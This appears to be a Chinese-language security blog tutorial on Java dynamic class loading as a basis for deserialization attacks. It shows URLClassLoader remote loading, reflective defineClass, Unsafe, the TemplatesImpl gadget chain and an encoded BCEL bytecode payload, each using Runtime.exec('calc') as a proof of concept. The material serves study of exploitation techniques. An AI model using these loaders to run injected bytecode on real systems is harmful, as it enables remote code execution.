类的动态加载
重写之前的Person类来理解
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
package Serialize;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
public String name;
private int age;
public static int id;
static {
System.out.println("静态代码块");
}
public static void staticAction(){
System.out.println("静态方法");
}
{
System.out.println("构造代码块");
}
public Person(){
System.out.println("无参Person");
}
// 构造函数
public Person(String name, int age){
System.out.println("有参Person");
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
public void action(String action){
System.out.println(action);
}
}
|
类加载会执行代码
初始化:静态代码块
实例化:构造代码块,无参构造函数
1
2
3
4
5
6
7
8
9
10
|
package Serialize;
public class LoadClassTest {
public static void main(String[] args) throws Exception {
// new Person();//静态代码块 构造代码块 无参Person
// Person.staticAction();//静态代码块 静态方法
// Person.id =1;//静态代码块
// Class c = Person.class;//只进行了类加载,没有初始化
}
}
|
动态类加载方法
Class.forName
可以选择初始化和不初始化,默认是初始化
1
2
3
4
5
6
|
@CallerSensitive
public static Class<?> forName(String className)
throws ClassNotFoundException {
Class<?> caller = Reflection.getCallerClass();
return forName(className, caller);
}
|
然后跟进可以看到forName0
方法
1
2
3
4
5
6
7
|
@CallerSensitiveAdapter
private static Class<?> forName(String className, Class<?> caller)
throws ClassNotFoundException {
ClassLoader loader = (caller == null) ? ClassLoader.getSystemClassLoader()
: ClassLoader.getClassLoader(caller);
return forName0(className, true, loader, caller);
}
|
跟进
1
2
3
4
|
private static native Class<?> forName0(String name, boolean initialize,
ClassLoader loader,
Class<?> caller)
throws ClassNotFoundException;
|
三个参数,类名,是否初始化,类加载器,第四个参数一般不填
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
package Serialize;
public class LoadClassTest {
public static void main(String[] args) throws Exception {
// new Person();//静态代码块 构造代码块 无参Person
// Person.staticAction();//静态代码块 静态方法
// Person.id =1;//静态代码块
// Class c = Person.class;//只进行了类加载,没有初始化
// Class.forName("Serialize.Person");//静态代码块,因为默认初始化
ClassLoader cl = ClassLoader.getSystemClassLoader();//获取系统的类加载器
//Class.forName("Serialize.Person", false,LoadClassTest.class.getClassLoader());
Class<?> c = Class.forName("Serialize.Person", false,cl);
c.newInstance();
}
}
|
那这个系统类加载器是什么,我们打印一下看

可以看到是AppClassLoader
双亲委派模型

双亲委派的意思是如果一个类加载器需要加载类,那么首先它会把这个类请求委派给父类加载器去完成,每一层都是如此。一直递归到顶层,当父加载器无法完成这个请求时,子类才会尝试去加载。
类加载器原理
可以用loadClass
来进行类加载,没有初始化,我们跟到底层
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
package Serialize;
public class LoadClassTest {
public static void main(String[] args) throws Exception {
// new Person();//静态代码块 构造代码块 无参Person
// Person.staticAction();//静态代码块 静态方法
// Person.id =1;//静态代码块
// Class c = Person.class;//只进行了类加载,没有初始化
// Class.forName("Serialize.Person");//静态代码块,因为默认初始化
ClassLoader cl = ClassLoader.getSystemClassLoader();//获取系统的类加载器
//Class.forName("Serialize.Person", false,LoadClassTest.class.getClassLoader());
// Class<?> c = Class.forName("Serialize.Person", false,cl);
// c.newInstance();
Class<?> c = cl.loadClass("Serialize.Person");*
}
}
|
然后在*
这里下断点调试,这里要强制步过,才能到内部类里面
先是走到ClassLoader
这个类里,

调用的顺序
1
2
|
ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader
loadClass -> findClass(重写的方法) -> defineClass (从字节码加载类)
|
动态加载字节码
利用URLClassLoader加载远程class文件
file协议
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package Serialize;
import java.net.URL;
import java.net.URLClassLoader;
public class LoadClassTest {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\tmp\\classes\\")});
Class<?> hello = urlClassLoader.loadClass("LoadTest");
hello.newInstance();
}
}
|
我们写一个LoadTest
类然后先编译成.class
文件,把他移到tmp目录下的classes目录,接着删掉这个类
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package Serialize;
import java.io.IOException;
public class LoadTest {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
|
然后运行测试能不能用file协议加载LoadTest.class
然后弹计算器,这里有个坑点,我是新建了Serialize
包,所以前下的路径也要包含Serialize
所以改完是这样
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package Serialize;
import java.net.URL;
import java.net.URLClassLoader;
public class LoadClassTest {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\tmp\\classes\\")});
Class<?> hello = urlClassLoader.loadClass("Serialize.LoadTest");
hello.newInstance();
}
}
|
成功弹计算器
http协议
在前下file
协议写的目录下打开命令行用python起一个http服务监听
1
|
python -m http.server 2333
|
然后代码改为
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package Serialize;
import java.net.URL;
import java.net.URLClassLoader;
public class LoadClassTest {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:2333/")});
Class<?> hello = urlClassLoader.loadClass("Serialize.LoadTest");
hello.newInstance();
}
}
|

jar协议
也就是调用jar包
还是建议搞这个不要套软件包,不然很麻烦
先把class文件打包成jar包
1
|
jar -cvf LoadTest.jar LoadTest.class
|
然后把生成的jar包放在class文件同目录下
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package Serialize;
import java.net.URL;
import java.net.URLClassLoader;
public class LoadClassTest {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///D:\\tmp\\classes\\LoadTest.jar!/")});
Class<?> hello = urlClassLoader.loadClass("Serialize.LoadTest");
hello.newInstance();
}
}
|
http就改成
1
|
jar:http://127.0.0.1:2333/LoadTest.jar!/
|
用defineClass直接加载字节码
由于这个方法是私有的,所以需要用反射来调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
package Serialize;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class LoadClassTest {
public static void main(String[] args) throws Exception {
ClassLoader cl = ClassLoader.getSystemClassLoader();//获取系统的类加载器
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class,int.class, int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\LoadTest.class"));
Class c = (Class) method.invoke(cl,"Serialize.LoadTest",code,0,code.length);
c.newInstance();
}
}
|
这边报错说是没权限访问目录,我也不知道为什么,可能win的防护发力了吧
Unsafe加载字节码
新版jdk好像删除了defineClass
方法,回退到1.8.0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
package Serialize;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class LoadClassTest {
public static void main(String[] args) throws Exception {
ClassLoader cl = ClassLoader.getSystemClassLoader();//获取系统的类加载器
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\"));
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Class c2 = (Class) unsafe.defineClass("Serialize.LoadTest",code,0,code.length,cl,null);
c2.newInstance();
}
}
|
TemplatesImpl 加载字节码
TemplatesImpl
类内部还有TransletClassLoader
类,继承ClassLoader
类
defineClass
方法被重写了
1
2
3
|
Class<?> defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
|
父类的defineClass
方法是
1
2
3
4
5
|
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}
|
可以看到原来的protected
变为default
类型,在这个类里面追溯一下利用链
1
2
|
defineClass() <- defineTransletClasses() <- getTransletInstance() <- newTransformer()
<- getOutputProperties()
|
最前面的两个方法都是public
类型,可以被外部调用
我们用newTransformer
方法尝试加载字节码
因为getTransletInstance
方法里面用到了AbstractTranslet
,所以我们要继承AbstractTranslet
类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
package TemplateClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import java.io.IOException;
public class Test01 extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] serializationHandler){}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler serializationHandler) throws TransletException {}
public Test01() throws IOException{
super();
Runtime.getRuntime().exec("calc");
}
}
|
然后把这个编译成class文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package TemplateClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test02 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\Test01.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl,"_name","calc");
setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
templatesImpl.newTransformer();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target,value);
}
}
|
这里同样出现了高版本jdk的问题,需要加参数强制开放 java.xml
模块
- 允许未命名模块(
ALL-UNNAMED
)访问 java.xml
模块中的 com.sun.org.apache.xalan.internal.xsltc.trax
包。
1
2
|
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED
|
- 不仅导出(
exports
),还开放(opens
)反射访问权限(适用于 setAccessible(true)
的情况)。
1
2
|
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED
|
这样就能成功弹出计算器了
分析一下链子
getTransletInstance
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
|
这里需要_name
参数不为空才能进defineTransletClasses
方法
defineTransletClasses
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader =
new TransletClassLoader(ObjectFactory.findClassLoader(),
_tfactory.getExternalExtensionsMap());
try {
final int classCount = _bytecodes.length;
_class = new Class<?>[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
// create a module for the translet
String mn = "jdk.translet";
String pn = _tfactory.getPackageName();
assert pn != null && pn.length() > 0;
ModuleDescriptor descriptor =
ModuleDescriptor.newModule(mn, Set.of(ModuleDescriptor.Modifier.SYNTHETIC))
.requires("java.xml")
.exports(pn, Set.of("java.xml"))
.build();
Module m = createModule(descriptor, loader);
// the module needs access to runtime classes
Module thisModule = TemplatesImpl.class.getModule();
// the module also needs permission to access each package
// that is exported to it
PermissionCollection perms =
new RuntimePermission("*").newPermissionCollection();
Arrays.asList(Constants.PKGS_USED_BY_TRANSLET_CLASSES).forEach(p -> {
thisModule.addExports(p, m);
perms.add(new RuntimePermission("accessClassInPackage." + p));
});
CodeSource codeSource = new CodeSource(null, (CodeSigner[])null);
ProtectionDomain pd = new ProtectionDomain(codeSource, perms,
loader, null);
// java.xml needs to instantiate the translet class
thisModule.addReads(m);
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i], pd);
final Class<?> superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
|
这里的_bytecodes
不能为空,而且_tfactory
的getExternalExtensionsMap
方法跟进后是TransformerFactoryImpl
类,也就是说_tfactory
需要一个TransformerFactoryImpl
对象
BCEL ClassLoader 加载字节码
BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。
我们可以通过 BCEL 提供的两个类 Repository
和 Utility
来利用: Repository
用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码; Utility
用于将原生的字节码转换成BCEL格式的字节码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
package Serialize;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BCELClassLoader {
public static void main(String[] args) throws Exception {
Class calc = Class.forName("Serialize.LoadTest");
JavaClass javaClass = Repository.lookupClass(calc);
String code = Utility.encode(javaClass.getBytes(), true);
System.out.println(code);
}
}
|
这里同样高版本jdk会报错
1
2
|
--add-opens java.xml/com.sun.org.apache.bcel.internal=ALL-UNNAMED
--add-opens java.xml/com.sun.org.apache.bcel.internal.classfile=ALL-UNNAMED
|

可以看到输出了一串BCEL字节码
我们可以直接利用这一串代码来加载
1
2
3
4
5
6
7
8
9
10
|
package Serialize;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class BCELRCE {
public static void main(String[] args) throws Exception {
new ClassLoader().loadClass("$$BCEL$$"+"$l$8b$I$A$A$A$A$A$A$ffmQMo$d3$40$Q$7d$9b8$b1cl$92$3aM$K$e5$a3$d0$82H$7b$c0$3f$c0$R$X$daJU$5d$8aHT$ce$9b$cd$w$dd$d4$b1$pg$83$w$fe$Q$e7$5e$C$e2$c0$P$e0GU$9d5$nD$w$xy$c6$f3v$de$db$b7$3b$bfo$7f$fe$Cp$88$d7$$J$u$db$b0$3cTPeh$8c$f9$X$k$s$3c$j$85$e7$83$b1$U$9a$a1$daU$a9$d2$ef$Y$ca$9d$fd$L$X$Oj6$5c$P$P$e01l$fck$ff4O$b5$9aH$Gw$q$f5$aahu$f6$e3$7b$3d$91$83$87$M$96$e0$890z$N$P$h$I$I$90$d7R0$bc$e9$ac1z$3aW$e9$uZ$X$f9$98gB$cef$91$8dM$86f$81$ab$y$3c9$3f$ba$Wr$aaU$96$bah$a2$eda$cb$dc$a7$3e$r$be$eei$$$ae$fa9$X$d2$c6c$86$a0$ts$c5$T$f5U$86q$c6$87$7d9$a3kZ$ef$b3$n$Z$ae$c7$w$95$l$e6$93$81$cc$fb$7c$90$Q$S$c4$Z9$bd$e0D$a1z$JZ$faR$cd$Y6$e3$fbR$R$83$d3$V$c9$f2$d1$98y$84$f8$3f$$$a9$cd$_$7c$9d$f1$e9R$d4$ede$f3$5c$c8ce$K$ff$af$de$5bC$c6K$3c$a2I$99U$C3$b3$a2$b8MUH$99Q$ae$i$7c$H$bb$v$b6$9fP$ac$fe$B$f1$94$a2$b7$fc$7f$86$e7$94$j$ec$ac$c8$bc$Q$D$82$l$b0$D$7f$81$fa$e7opN$P$Wh$dd$Ux$8d$b8M$94$L$c56$v$Yv$cdL$9e$a2$P$97$c6$e6$afN$f0a$e1$F$d9$Ev$e9$b3Q$8am4$z$da$d8$xL$bd$ba$D$h$bf$abCs$C$A$A").newInstance();
}
}
|
在前面加上$$BCEL$$
,是因为在 ClassLoader#loadClass()
中,其会判断类名是否是 $$BCEL$$
开头,如果是的话,将会对这个字符串进行 decode